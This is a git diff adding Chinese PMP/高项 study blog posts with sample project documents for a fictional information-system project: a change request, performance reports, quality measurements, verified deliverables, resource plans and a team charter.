高项] +--- + +变更请求 - Change Request + +### **变更请求表单** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **变更请求编号**：CR-2024-001 + +#### **提交日期**：2024年10月5日 + +#### **提交人**：质量经理 张伟 + +------ + +### **1. 变更背景和原因** + +在2024年10月2日的测试与评估过程中，发现项目中的以下质量问题需要进行修复和改进： + +1. **支付模块接口超时**：在功能测试中，支付接口出现频繁超时现象，影响了交易的顺畅进行。此问题需要进一步优化支付接口的处理逻辑，并增强系统对高并发请求的支持能力。 +2. **数据库响应时间过长**：性能测试结果显示，在高并发环境下，数据库查询的响应时间过长，未能达到预期的性能指标，需要通过优化数据库查询策略来提升响应速度。 +3. **数据存储加密未正确应用**：安全测试中发现系统在数据存储时，未完全遵循加密规范，存在数据泄露风险，需要改进数据加密措施以保证安全性。 + +基于上述问题，提出变更请求以修改系统设计，提升项目的整体质量。 + +------ + +### **2. 变更内容** + +#### **2.1 支付模块优化** + +- **现状**：支付模块在高并发环境下无法稳定响应，接口超时。 +- **变更内容**：对支付模块的API接口逻辑进行优化，减少响应时间，提升处理并发请求的能力，并进行压力测试验证。 + +#### **2.2 数据库查询优化** + +- **现状**：高并发下数据库查询响应时间较长，未达到性能基准要求。 +- **变更内容**：优化数据库查询语句及索引策略，增加查询缓存机制，提升查询速度。 + +#### **2.3 数据加密增强** + +- **现状**：当前的数据加密策略未完全应用于数据存储，存在潜在的安全隐患。 +- **变更内容**：重新设计并实施更加严格的加密算法，确保数据库存储的数据得到完全加密。 + +------ + +### **3. 变更影响分析** + +#### **3.1 进度影响** + +- 支付模块的优化和数据库查询的调整预计将延长开发周期5天。 +- 数据加密策略的调整将增加3天的开发时间。 + **总计**：变更预计将导致项目总体延期8天，新的完成时间为2025年1月13日。 + +#### **3.2 成本影响** + +- 开发团队需额外投入人力资源以进行支付模块优化和数据库查询优化。估算总成本增加约 **50,000元人民币**。 +- 数据加密的增强将引入新的加密库，预计新增许可成本和实施成本 **20,000元人民币**。 + **总计**：预计成本增加 **70,000元人民币**。 + +#### **3.3 风险影响** + +- **技术风险**：支付模块和数据库优化过程中可能出现新的技术问题，特别是在并发性能和加密算法的实施上。 +- **安全风险**：如果加密策略不能完全实施，仍可能存在数据泄露的风险。 + +#### **3.4 质量影响** + +- 此次变更将显著提升系统的功能和安全性，确保满足既定的质量标准，特别是在并发性能和数据安全方面。 + +------ + +### **4. 批准的预期结果** + +此次变更将带来以下预期结果： + +1. 支付模块响应能力提升，解决高并发情况下的超时问题。 +2. 数据库查询响应速度加快，性能达到原定目标。 +3. 数据加密全面覆盖，确保敏感数据在存储时的安全性。 + +------ + +### **5. 实施变更的详细计划** + +- **支付模块优化**：开发团队将在2024年10月6日至2024年10月10日进行支付模块的优化与测试。 +- **数据库查询优化**：开发团队将在2024年10月11日至2024年10月13日完成数据库查询策略的调整和测试。 +- **数据加密增强**：安全团队将在2024年10月14日至2024年10月16日完成加密算法的更新与验证。 + +------ + +### **6. 变更审批流程** + +- **变更提出人**：张伟（质量经理） +- **变更评审人**：李华（项目经理），王强（技术负责人） +- **变更审批人**：赵敏（项目发起人） + +------ + +### **7. 变更完成标准** + +- 支付模块在高并发环境下的响应时间不超过2秒。 +- 数据库查询在高并发环境下的响应时间不超过1秒。 +- 所有存储在数据库中的敏感数据均加密且无法被未授权的用户解密访问。 + +------ + +### **8. 变更结束条件** + +当变更请求中提出的所有内容都经过验证并成功实施，且通过项目质量评审委员会的最终审查时，变更请求将视为成功关闭。 + +------ + +**变更请求**在项目中帮助管理和控制必要的修改，确保项目按计划执行，同时确保变更的合理性和可控性。 diff --git a/_posts/2024-10-08-704-wpd.md b/_posts/2024-10-08-704-wpd.md new file mode 100644 index 0000000..c494327 --- /dev/null +++ b/_posts/2024-10-08-704-wpd.md @@ -0,0 +1,68 @@ +--- +layout: post +title: 工作绩效数据 +pid: 704 +tags: [pmp, 高项] +--- + +工作绩效数据 - Work Performance Data + +### **工作绩效数据：质量管理** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **报告日期**：2024年10月5日 + +#### **报告周期**：2024年9月25日 至 2024年10月5日 + +------ + +### **1. 质量指标实际结果** + +| **质量指标** | **目标值** | **实际值** | **偏差** | **状态** | +| -------------------- | ------------------- | -------------------- | -------- | -------- | +| 支付模块接口超时时间 | ≤2秒 | 3.5秒 | +1.5秒 | 超标 | +| 数据库查询响应时间 | ≤1秒 | 2.2秒 | +1.2秒 | 超标 | +| 数据加密正确性 | 100% | 95% | -5% | 超标 | +| 单元测试通过率 | ≥95% | 98% | +3% | 合格 | +| 功能测试缺陷密度 | ≤3个缺陷/1000行代码 | 2.5个缺陷/1000行代码 | -0.5个 | 合格 | + +------ + +### **2. 测试与检查数据** + +- **支付模块测试结果**：在高并发条件下，支付接口超时问题较为严重，超时次数占总请求次数的 **30%**，超时最大值为 **5.1秒**，最小值为 **3.1秒**，平均超时为 **3.5秒**。未达到质量目标（≤2秒）。 +- **数据库查询性能测试**：数据库查询响应时间在压力测试环境下平均为 **2.2秒**，未能满足 ≤1秒的质量目标。需要进一步优化数据库性能。 +- **数据加密检查**：数据库中加密数据的准确性为 **95%**，有部分数据未按照规范进行加密，需要改进加密策略。 +- **单元测试结果**：已测试模块单元测试通过率为 **98%**，达到目标值（≥95%）。功能模块的代码质量良好。 +- **功能测试缺陷统计**：在功能测试中，共发现 **10个缺陷**，功能测试缺陷密度为 **2.5个缺陷/1000行代码**，低于预期目标（≤3个缺陷/1000行代码）。 + +------ + +### **3. 纠正措施** + +- **支付模块优化**：基于当前支付模块的性能问题，将进行进一步优化，包括改进接口响应机制，预期将支付超时问题降低到目标值以下。 +- **数据库查询优化**：由于数据库查询在高并发环境下的响应速度较慢，开发团队将优化查询语句、索引和数据库缓存机制。 +- **数据加密增强**：安全团队将审查现有的加密流程，确保所有敏感数据都能得到正确加密，并采取必要的补救措施。 + +------ + +### **4. 当前质量状态** + +- **整体质量状态**： + - 项目质量处于可控范围，但存在几个需要重点改进的方面，特别是在支付模块性能和数据库查询响应速度上。 + - 加密策略的改进正在进行，预计在下一个报告周期内完成。 +- **整体项目状态**： + - 项目进度稍有延误，因质量问题可能导致后续的项目时间调整。项目管理团队将评估对进度的影响并提出相应的改进措施。 + +------ + +### **5. 结论和下一步行动** + +- **支付模块**：对支付模块的性能优化将于下周展开，并进行多次性能测试，预计将在未来两周内达成质量目标。 +- **数据库查询性能**：优化工作将在下周开始，预计将提升数据库查询效率，进一步降低响应时间。 +- **加密策略**：安全团队将在本周完成加密策略的审查，并执行数据加密改进工作。 + +------ + +**工作绩效数据**是项目团队用来跟踪实际项目执行情况的重要依据，尤其在质量管理方面，帮助识别偏差、确定改进措施，并支持项目后续决策。 diff --git a/_posts/2024-10-08-705-wpi.md b/_posts/2024-10-08-705-wpi.md new file mode 100644 index 0000000..c3eec18 --- /dev/null +++ b/_posts/2024-10-08-705-wpi.md @@ -0,0 +1,127 @@ +--- +layout: post +title: 工作绩效信息 +pid: 705 +tags: [pmp, 高项] +--- + +工作绩效信息 - Work Performance Information + +### **工作绩效信息：质量管理** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **报告日期**：2024年10月10日 + +#### **报告周期**：2024年9月25日 至 2024年10月5日 + +------ + +### **1. 概述** + +在此报告周期内，项目质量管理活动集中在支付模块的性能测试、数据库查询性能优化和数据加密检查。通过对这些关键质量指标的测量与分析，得出以下工作绩效信息。 + +------ + +### **2. 支付模块的性能分析** + +#### **当前状态** + +- **超时问题**：支付模块在高并发测试中，接口超时率达到 **30%**，平均超时为 **3.5秒**，最高超时达到 **5.1秒**，远高于目标值（≤2秒）。 + +#### **分析与原因** + +- **接口设计问题**：系统设计存在响应效率瓶颈，可能由于线程池或数据库锁定机制不够高效，导致响应时间过长。 +- **并发处理**：并发请求的处理机制没有充分优化，超时情况集中发生在高并发测试期间。 + +#### **行动建议** + +- 优化支付模块的代码结构，减少响应时间； +- 重新设计并发处理逻辑，增加负载平衡机制； +- 优化数据库锁定机制或引入异步处理。 + +------ + +### **3. 数据库查询性能评估** + +#### **当前状态** + +- **响应时间过长**：数据库查询平均响应时间为 **2.2秒**，未能达到目标值（≤1秒）。 + +#### **分析与原因** + +- **查询语句效率低**：部分SQL查询语句执行效率较低，未充分利用索引。 +- **数据库配置问题**：数据库缓存配置不足，导致高并发环境下查询性能下降。 + +#### **行动建议** + +- 优化数据库的SQL查询语句，确保所有查询都能有效利用索引； +- 增加数据库缓存大小，并优化缓存策略。 + +------ + +### **4. 数据加密检查** + +#### **当前状态** + +- **加密准确性低**：数据加密正确率为 **95%**，低于目标值（100%），部分数据未按规范加密。 + +#### **分析与原因** + +- **加密规则遗漏**：部分模块在开发过程中未遵循加密标准，尤其是在新功能开发中。 + +#### **行动建议** + +- 安排专门的安全审计，确保所有数据都按加密标准执行； +- 对开发人员进行加密标准的再次培训，确保一致性。 + +------ + +### **5. 单元测试与功能测试结果** + +#### **当前状态** + +- **单元测试通过率高**：单元测试通过率为 **98%**，超出预期目标（≥95%），功能模块的代码质量较好。 +- **功能测试缺陷密度**：缺陷密度为 **2.5个缺陷/1000行代码**，低于预期目标（≤3个缺陷/1000行代码）。 + +#### **分析与原因** + +- **代码质量提高**：开发团队对代码质量的把控较好，减少了单元测试失败率。 +- **测试覆盖率增加**：测试团队对主要功能模块的测试覆盖率有所增加，有效发现并修复了潜在缺陷。 + +#### **行动建议** + +- 继续保持现有的测试质量，增强对边缘案例和异常场景的覆盖。 + +------ + +### **6. 总结与建议** + +- **支付模块**：超时问题严重影响系统性能，建议加速支付模块的性能优化工作。此模块的质量改进将显著影响整个项目的成功交付。 +- **数据库查询性能**：数据库查询优化工作需立即开展，减少系统响应时间。 +- **加密问题**：提高数据加密的准确性是当前需要紧急解决的安全问题。 +- **整体质量状态**：尽管项目中部分模块已经达到或超过了质量标准，但一些关键模块（如支付模块）的性能不佳，需重点关注和改进。 + +------ + +### **7. 项目质量趋势分析** + +| **质量指标** | **前周期数据** | **当前周期数据** | **趋势** | +| ------------------ | ---------------- | ---------------- | -------- | +| 支付模块接口超时率 | 25% | 30% | 上升 | +| 数据库查询响应时间 | 2秒 | 2.2秒 | 上升 | +| 数据加密正确性 | 97% | 95% | 下降 | +| 单元测试通过率 | 96% | 98% | 上升 | +| 功能测试缺陷密度 | 3.1个/1000行代码 | 2.5个/1000行代码 | 下降 | + +------ + +### **8. 下一步行动** + +- 支付模块的优化需要紧急处理，预计优化周期为1周，并进行高并发压力测试； +- 数据库优化将在2天内开始，预计1周内完成； +- 数据加密流程将在2天内完成整改，并重新进行安全检查。 + +------ + +**工作绩效信息**基于对工作绩效数据的分析，帮助项目管理团队识别问题并提出改进方案，以确保项目按计划顺利执行。 diff --git a/_posts/2024-10-08-706-qcm.md b/_posts/2024-10-08-706-qcm.md new file mode 100644 index 0000000..279c597 --- /dev/null +++ b/_posts/2024-10-08-706-qcm.md @@ -0,0 +1,103 @@ +--- +layout: post +title: 质量控制测量结果 +pid: 706 +tags: [pmp, 高项] +--- + +质量控制测量结果 - Quality Control Measurements + +### **质量控制测量结果：XYZ 信息系统开发项目** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **报告日期**：2024年10月10日 + +#### **报告周期**：2024年9月25日 至 2024年10月5日 + +------ + +### **1. 概述** + +本报告提供了在本周期内实施的质量控制活动的测量结果，涵盖系统模块的性能、功能测试、代码质量和安全合规性等关键指标。通过对这些质量指标的测量结果分析，确保项目产品符合既定的质量标准与目标。 + +------ + +### **2. 质量控制测量指标** + +下表展示了本报告周期内各项质量控制测量结果，重点指标包括支付模块性能、数据库查询性能、加密合规性、单元测试结果和功能测试缺陷密度等。 + +------ + +### **3. 质量控制测量结果表** + +| **质量控制指标** | **目标值** | **实际测量值** | **偏差** | **状态** | +| -------------------- | ------------------- | -------------------- | -------- | -------- | +| 支付模块接口超时率 | ≤10% | 30% | +20% | 不符合 | +| 数据库查询响应时间 | ≤1秒 | 2.2秒 | +1.2秒 | 不符合 | +| 数据加密正确性 | 100% | 95% | -5% | 不符合 | +| 单元测试通过率 | ≥95% | 98% | +3% | 符合 | +| 功能测试缺陷密度 | ≤3个缺陷/1000行代码 | 2.5个缺陷/1000行代码 | -0.5 | 符合 | +| 安全漏洞合规性 | 100% | 98% | -2% | 不符合 | +| 系统可用性（Uptime） | ≥99.5% | 99.8% | +0.3% | 符合 | + +------ + +### **4. 主要测量结果分析** + +#### **支付模块接口超时率** + +- **测量结果**：接口超时率为 **30%**，高于目标值 **10%**。 +- **原因分析**：系统在高并发请求下未能有效处理负载，主要原因可能是服务器性能不足或并发处理机制未优化。 +- **改进措施**：优化支付模块的并发处理能力，提升服务器性能。 + +#### **数据库查询响应时间** + +- **测量结果**：数据库查询平均响应时间为 **2.2秒**，高于目标值 **1秒**。 +- **原因分析**：数据库查询语句执行效率不高，部分查询未使用索引，且数据库缓存配置不足。 +- **改进措施**：优化SQL查询语句，增加数据库缓存并进行调优。 + +#### **数据加密正确性** + +- **测量结果**：数据加密正确率为 **95%**，低于目标值 **100%**。 +- **原因分析**：某些模块在开发过程中未完全遵循加密标准，可能存在遗漏。 +- **改进措施**：加强代码审查，确保所有模块严格遵守加密标准，并对相关人员进行培训。 + +#### **单元测试通过率** + +- **测量结果**：单元测试通过率为 **98%**，高于目标值 **95%**。 +- **原因分析**：开发团队在代码质量上进行了有效的把控，确保了较高的测试通过率。 +- **改进措施**：继续保持现有开发规范和单元测试覆盖率。 + +#### **功能测试缺陷密度** + +- **测量结果**：功能测试缺陷密度为 **2.5个缺陷/1000行代码**，低于目标值 **3个缺陷/1000行代码**。 +- **原因分析**：开发过程中加强了代码审核，减少了功能测试中的缺陷数量。 +- **改进措施**：继续优化测试流程，并对更多边缘场景进行功能测试。 + +#### **安全漏洞合规性** + +- **测量结果**：安全合规性测量结果为 **98%**，低于目标值 **100%**。 +- **原因分析**：部分安全补丁未能及时应用，且某些模块存在安全配置漏洞。 +- **改进措施**：安排额外的安全检查，确保所有安全补丁及时应用，并对存在漏洞的模块进行修复。 + +#### **系统可用性** + +- **测量结果**：系统可用性（Uptime）为 **99.8%**，高于目标值 **99.5%**。 +- **原因分析**：团队对系统的持续维护和监控有效，确保了较高的系统可用性。 +- **改进措施**：保持现有的系统维护与监控机制，持续关注系统性能。 + +------ + +### **5. 关键测量结果的改进建议** + +- **支付模块**：超时问题需要立即解决，建议通过优化并发处理、提升硬件性能来减少超时现象。 +- **数据库性能**：尽快优化SQL查询，并对数据库的缓存配置进行调整，以确保查询性能符合要求。 +- **加密问题**：安排安全检查，确保所有模块符合加密标准，并对开发团队进行加密技术培训。 +- **安全合规性**：针对存在的安全漏洞，实施紧急补救措施，确保项目后续阶段的安全合规性。 + +------ + +### **6. 总结** + +通过本次质量控制测量，我们发现了一些重要的偏差，尤其是在支付模块性能和数据加密合规性方面，需要采取相应的改进措施。同时，项目的单元测试和功能测试结果较为理想，确保了系统的基本功能和性能符合标准。持续的质量控制活动对于项目的成功交付至关重要，建议在后续的项目周期中保持对关键质量指标的监控和测量。 diff --git a/_posts/2024-10-08-707-vd.md b/_posts/2024-10-08-707-vd.md new file mode 100644 index 0000000..cb7d15d --- /dev/null +++ b/_posts/2024-10-08-707-vd.md @@ -0,0 +1,88 @@ +--- +layout: post +title: 核实的可交付成果 +pid: 707 +tags: [pmp, 高项] +--- + +核实的可交付成果 - Verified Deliverables + +### **核实的可交付成果：XYZ 信息系统开发项目** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **报告日期**：2024年10月10日 + +#### **报告周期**：2024年9月25日 至 2024年10月5日 + +------ + +### **1. 概述** + +核实可交付成果是质量控制过程中重要的活动，确保项目产品的每个组成部分均符合需求说明、设计规范和质量标准。此报告涵盖了核实的可交付成果及其相关的测量和评估。 + +------ + +### **2. 核实的可交付成果** + +本报告周期内核实的主要可交付成果如下： + +| **可交付成果** | **描述** | **验收标准** | **核实状态** | **核实日期** | **相关文档** | +| ---------------- | ---------------------------------------------------- | ------------------------------------ | ------------ | ------------ | ---------------------------------- | +| 支付模块 | 完成支付模块的设计、开发与测试，包括接口集成。 | 支付流程无超时，接口集成通过所有测试 | 已核实 | 2024-10-03 | 支付模块功能测试报告 | +| 用户管理模块 | 完成用户管理模块的开发，支持用户注册、登录与权限。 | 功能符合用户需求，安全性达标 | 已核实 | 2024-09-30 | 用户管理模块单元测试与功能测试报告 | +| 数据库设计与实施 | 完成数据库设计与实施，包括数据库架构和初始数据导入。 | 数据库查询性能符合设计要求 | 已核实 | 2024-10-02 | 数据库性能测试与架构审查报告 | +| 数据加密机制 | 实现并部署系统中所有敏感数据的加密机制。 | 加密正确率达到100%，符合安全标准 | 已核实 | 2024-10-01 | 数据加密验证与安全审查报告 | +| 用户界面设计 | 完成系统主要界面的UI设计与前端开发。 | 界面符合设计规范，用户体验良好 | 已核实 | 2024-09-28 | 用户界面测试与设计评审报告 | +| 系统性能优化 | 完成对系统的性能优化，包括服务器配置和缓存调整。 | 系统响应时间和可用性符合预期 | 已核实 | 2024-10-04 | 系统性能优化报告与监控日志 | + +------ + +### **3. 可交付成果核实流程** + +核实可交付成果是按照以下流程进行的： + +1. **需求对照**：所有可交付成果在核实过程中与项目需求文档和设计规范进行详细对比，确保符合项目预期。 +2. **测试验证**：通过单元测试、集成测试、性能测试和安全测试等方式，验证每个模块是否满足既定的质量标准。 +3. **客户确认**：在测试通过后，提交可交付成果给相关干系人（包括客户或用户代表）进行确认。 +4. **文档审查**：核实完成后，生成对应的测试报告和验证文档，记录可交付成果的状态、核实日期和相关数据。 + +------ + +### **4. 核实可交付成果的分析** + +#### **支付模块**： + +- **核实结果**：支付模块通过了所有集成测试，接口超时问题得到解决，功能稳定。 +- **核实依据**：支付模块功能测试报告显示，所有支付流程均未超时，且符合系统设计要求。 + +#### **用户管理模块**： + +- **核实结果**：用户管理模块的开发完成，经过了单元测试和功能测试，安全性满足需求。 +- **核实依据**：用户管理模块测试报告显示，用户注册、登录和权限管理均无缺陷，安全漏洞已修复。 + +#### **数据库设计与实施**： + +- **核实结果**：数据库查询性能符合项目要求，初始数据导入完成，架构设计合理。 +- **核实依据**：数据库性能测试显示查询响应时间达标，并通过架构设计审查。 + +#### **数据加密机制**： + +- **核实结果**：系统中所有敏感数据均成功实现加密，符合项目的安全需求。 +- **核实依据**：加密验证报告和安全审查表明，数据加密机制的正确率为100%。 + +#### **用户界面设计**： + +- **核实结果**：用户界面设计符合项目的UI标准，用户体验良好，界面友好易用。 +- **核实依据**：界面测试和用户体验评审显示，界面无重大问题，用户反馈积极。 + +#### **系统性能优化**： + +- **核实结果**：系统响应时间明显改善，服务器的负载处理能力增强，达到了项目预期的性能目标。 +- **核实依据**：性能监控日志和优化报告显示，系统响应时间优化至1秒内，可用性达到99.8%。 + +------ + +### **5. 总结与建议** + +在本阶段的可交付成果核实过程中，大部分功能模块和设计成果均符合项目需求和质量标准，尤其是在系统性能和安全性方面取得了较大进展。通过支付模块和数据库的性能优化，项目整体的技术风险有所降低。然而，仍需持续关注在后续迭代中可能出现的新的问题，并加强对用户界面的细致测试，确保在上线前完成所有细节的优化。 diff --git a/_posts/2024-10-08-708-rmp.md b/_posts/2024-10-08-708-rmp.md new file mode 100644 index 0000000..d43838d --- /dev/null +++ b/_posts/2024-10-08-708-rmp.md @@ -0,0 +1,144 @@ +--- +layout: post +title: 资源管理计划 +pid: 708 +tags: [pmp, 高项] +--- + +资源管理计划 - Resource Management Plan + +### **资源管理计划** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月10日 + +------ + +### **1. 概述** + +资源管理计划概述了项目资源（包括人员、设备、材料、资金等）的识别、获取、管理、控制和分配的方式，确保资源有效支持项目目标的实现。此计划涵盖人力资源、物质资源、时间安排和其他关键资源管理方法。 + +------ + +### **2. 目标** + +- 确保项目执行过程中，资源能够按需获取、合理分配，避免浪费或短缺。 +- 提高资源利用率，降低成本。 +- 制定资源管理的标准流程，确保资源在项目各阶段得到有效控制。 + +------ + +### **3. 角色与职责** + +项目资源管理涉及以下主要角色及其对应职责： + +| **角色** | **职责** | +| ------------ | ------------------------------------------------------------ | +| **项目经理** | 负责监督整个资源管理过程，确保资源合理分配和利用，批准资源调配请求。 | +| **资源经理** | 负责识别、获取和分配项目所需的物质和人力资源，确保资源充足且按时提供。 | +| **部门经理** | 协助项目经理识别资源需求，安排人员并确保资源按时到位。 | +| **团队成员** | 负责按时完成分配的任务，反馈资源需求及使用情况。 | +| **财务经理** | 管理项目资金资源，跟踪资金使用情况，确保在预算内运作。 | + +------ + +### **4. 资源需求** + +基于项目的工作分解结构（WBS），资源需求按以下几类划分： + +| **资源类型** | **资源需求描述** | **使用阶段** | +| ------------ | ------------------------------------------------------------ | ------------------------ | +| **人力资源** | 开发人员、测试人员、项目经理、UI设计师、安全专家等。 | 项目设计、开发、测试阶段 | +| **设备资源** | 开发服务器、测试环境、生产服务器、网络设备等。 | 项目开发、测试和上线阶段 | +| **材料资源** | 软件许可证、硬件设备、网络配件等。 | 项目实施阶段 | +| **资金资源** | 人员工资、设备采购费、软件购买费、外包服务费等。 | 整个项目生命周期 | +| **时间资源** | 时间资源主要体现为每个项目任务的工时分配，以及时间进度的管控。 | 项目全生命周期 | + +------ + +### **5. 资源获取** + +资源获取策略确保项目所需的所有资源都能够按时、按量获取。资源获取方式主要分为以下几类： + +- **内部调配**：项目组内或部门内调配人力、设备和相关资源。 +- **外部采购**：通过采购软件、硬件和外包服务等满足项目需求。 +- **临时雇佣**：通过短期雇佣或外包方式获取临时需要的技能或服务。 + +资源获取过程将遵循以下步骤： + +1. **需求确认**：根据项目计划确认所需的具体资源类型和数量。 +2. **资源申请**：提交资源获取申请，注明资源使用期限和成本预算。 +3. **资源审批**：由项目经理和财务经理审核资源申请。 +4. **资源获取**：资源经理负责根据审批的申请采购或调配资源。 + +------ + +### **6. 资源分配** + +资源分配遵循以下原则： + +- **优先分配关键任务资源**：优先确保对项目进度和质量影响较大的关键任务得到充足资源。 +- **平衡分配人力资源**：确保人员负荷均衡，避免资源闲置或过度使用。 +- **动态调整资源配置**：随着项目进展，实时调整资源分配，以适应项目变化。 + +以下是初步的资源分配表： + +| **任务名称** | **分配资源** | **资源数量** | **分配时间** | +| -------------------- | -------------------------------- | ------------ | ------------------------- | +| **系统架构设计** | 架构师、UI设计师 | 2人 | 2024年10月1日 - 10月10日 | +| **支付模块开发** | 开发人员、测试人员、开发服务器 | 3人、1台 | 2024年10月5日 - 10月20日 | +| **用户管理模块开发** | 开发人员、测试人员、数据库管理员 | 2人 | 2024年10月15日 - 10月30日 | +| **性能优化** | 开发人员、测试人员、性能分析工具 | 3人 | 2024年11月1日 - 11月10日 | + +------ + +### **7. 资源控制与监控** + +资源管理的关键控制点包括： + +- **进度与资源匹配监控**：定期检查项目进度与资源使用情况，确保资源使用有效，避免资源短缺。 +- **资源消耗率监控**：通过定期的资源使用报告和消耗分析，跟踪资源使用是否在预算范围内。 +- **资源分配调整**：根据项目需求变化，及时进行资源调整，避免项目资源闲置或不匹配。 + +------ + +### **8. 资源管理的工具与技术** + +项目将采用以下工具与技术管理资源： + +- **项目管理软件**：用于资源分配和监控，如Microsoft Project、JIRA等。 +- **资源利用率分析**：定期分析资源的使用情况，确保资源的高效利用。 +- **预算跟踪工具**：财务部门将通过预算跟踪工具监控资源的资金消耗情况。 + +------ + +### **9. 资源优化策略** + +为提高项目资源的利用效率，资源管理计划中包括以下优化策略： + +1. **跨项目共享资源**：多个项目之间共享资源，提高利用率。 +2. **关键任务资源优先分配**：优先保证对项目成功至关重要的任务资源。 +3. **外包与内部资源平衡**：通过灵活的外包与内部资源调配，平衡项目需求。 + +------ + +### **10. 资源风险管理** + +项目资源管理可能面临的风险包括： + +- **资源短缺风险**：在项目关键阶段，所需资源无法及时获取或调配。 +- **成本超支风险**：由于资源管理不当导致项目资源成本超出预算。 +- **人员流动风险**：关键人员流失导致项目进度受到影响。 + +应对措施： + +- 制定应急资源调配计划，提前采购或准备备用资源。 +- 定期更新资源使用情况，动态调整资源分配。 +- 通过激励机制和员工培训降低人员流失的风险。 + +------ + +### **11. 资源管理的总结与反馈** + +在项目的各个阶段，项目经理和资源经理将定期回顾资源管理情况，确保项目资源使用效率和合理性。总结资源管理中的经验教训，将帮助优化未来项目的资源管理计划。 diff --git a/_posts/2024-10-08-709-tc.md b/_posts/2024-10-08-709-tc.md new file mode 100644 index 0000000..f4ffcce --- /dev/null +++ b/_posts/2024-10-08-709-tc.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 团队章程 +pid: 709 +tags: [pmp, 高项] +--- + +团队章程 - Team Charter + +### **团队章程** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月10日 + +------ + +### **1. 章程目的** + +团队章程的目的是明确项目团队成员的角色、职责和沟通方式，确保团队高效合作，达到项目目标。该章程为团队提供了清晰的指导方针，并促进团队成员之间的协作与沟通。 + +------ + +### **2. 团队目标** + +- **实现项目目标**：确保项目按时、按预算、按质量要求完成。 +- **增强团队合作**：建立良好的团队文化，鼓励成员间的相互支持与协作。 +- **提高技能水平**：通过培训和知识分享，提升团队成员的专业技能与项目管理能力。 + +------ + +### **3. 团队成员角色与职责** + +| **角色** | **姓名** | **职责** | +| --------------- | -------- | ---------------------------------------------------------- | +| **项目经理** | 张伟 | 负责整体项目管理、资源调配、进度监控与风险管理。 | +| **资源经理** | 李芳 | 负责资源的获取、分配与监控，确保资源利用效率。 | +| **开发人员** | 王强 | 负责系统设计、开发与代码实现，保证交付物的质量与功能。 | +| **测试人员** | 刘婷 | 负责项目各阶段的测试与评估，确保产品符合需求与质量标准。 | +| **UI/UX设计师** | 陈杰 | 负责产品的界面设计与用户体验优化，提升用户满意度。 | +| **安全专家** | 赵丽 | 负责项目的安全评估与风险控制，确保产品在安全方面的合规性。 | + +------ + +### **4. 团队沟通计划** + +- **定期会议**：每周召开一次团队会议，讨论项目进度、遇到的问题与解决方案。 +- **报告与反馈**：团队成员应在每次会议中汇报自己的工作进展与遇到的挑战，互相提供反馈。 +- **沟通工具**：使用Slack或Teams进行日常沟通，及时更新项目状态，分享文档和资料。 +- **文档管理**：所有项目文档应存储在共享云盘中（如Google Drive或OneDrive），以便团队成员随时访问。 + +------ + +### **5. 决策流程** + +- **问题识别**：任何团队成员均可提出项目中遇到的问题或挑战。 +- **集体讨论**：通过会议讨论提出的任何问题，所有成员共同参与决策过程。 +- **投票决策**：在需要达成共识的情况下，采用投票方式做出决定，确保每个团队成员的意见被尊重。 +- **记录决策**：所有重要决策都应记录在会议纪要中，以便未来参考。 + +------ + +### **6. 团队规范** + +- **尊重与诚信**：团队成员应相互尊重，诚实沟通，建立信任。 +- **按时交付**：所有成员需按照约定的时间完成各自的任务，确保项目进度。 +- **积极参与**：鼓励每位成员积极参与讨论，分享意见和建议。 +- **解决冲突**：在发生冲突时，团队成员应以建设性的方式进行沟通，寻求共同解决方案。 + +------ + +### **7. 团队绩效评估** + +- **评估频率**：团队绩效评估每月进行一次，以跟踪团队目标的实现情况。 +- 评估指标： + - 按时完成任务的比例 + - 团队沟通的频率与质量 + - 项目交付物的质量与客户反馈 +- **反馈机制**：评估结果将通过会议向团队反馈，并制定相应的改进措施。 + +------ + +### **8. 培训与发展** + +- **定期培训**：组织技术培训和软技能提升的培训，增强团队成员的能力。 +- **知识分享**：鼓励团队成员分享自己的知识和经验，提升整个团队的专业水平。 + +------ + +### **9. 团队文化** + +- **开放文化**：倡导开放的沟通环境，鼓励团队成员表达意见与建议。 +- **团结合作**：通过团队建设活动增进团队成员之间的信任与合作。 +- **成就认可**：对团队和个人的成就进行认可，激励团队士气。 + +------ + +### **10. 修改与更新** + +本章程将在项目生命周期内定期审查和更新，以适应项目需求的变化。任何修改需经过团队讨论并达成一致。 diff --git a/_posts/2024-10-08-710-rr.md b/_posts/2024-10-08-710-rr.md new file mode 100644 index 0000000..97635e5 --- /dev/null +++ b/_posts/2024-10-08-710-rr.md @@ -0,0 +1,70 @@ +--- +layout: post +title: 资源需求 +pid: 710 +tags: [pmp, 高项] +--- + +资源需求 - Resource Requirements + +### **资源需求** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月10日 + +------ + +### **1. 资源需求概述** + +资源需求是指在项目执行过程中，为完成项目目标所需的所有人力、物力、财力和技术资源。本文档详细列出了项目的资源需求，包括人员需求、设备和材料需求、预算和资金需求等。 + +------ + +### **2. 人力资源需求** + +| **角色** | **数量** | **技能要求** | **项目阶段** | +| ---------------- | -------- | -------------------------- | ------------------------ | +| **项目经理** | 1 | 项目管理、领导力、沟通能力 | 全周期 | +| **资源经理** | 1 | 资源管理、协调能力 | 全周期 | +| **开发人员** | 4 | Java/Python 编程、系统设计 | 需求分析、设计、开发阶段 | +| **测试人员** | 2 | 软件测试、自动化测试 | 开发后期、测试阶段 | +| **UI/UX设计师** | 1 | 用户体验设计、界面设计 | 设计阶段 | +| **安全专家** | 1 | 信息安全、风险评估 | 全周期 | +| **技术支持人员** | 2 | 技术支持、系统维护 | 上线阶段 | + +------ + +### **3. 设备与材料需求** + +| **资源类型** | **描述** | **数量** | **需求时间** | +| ------------ | ---------------------------- | -------- | ------------------ | +| **服务器** | 用于开发和测试的服务器 | 2 | 需求分析阶段开始前 | +| **开发工具** | IDE、版本控制工具（如Git） | 6套 | 开发阶段 | +| **测试工具** | 测试管理工具、自动化测试工具 | 2套 | 测试阶段 | +| **网络设备** | 路由器、交换机 | 1套 | 上线前 | +| **办公设备** | 电脑、打印机等 | 6套 | 项目全周期 | + +------ + +### **4. 财务资源需求** + +| **资源类型** | **预算** | **描述** | +| ------------ | -------- | ---------------------------------------------------- | +| **人力成本** | ¥600,000 | 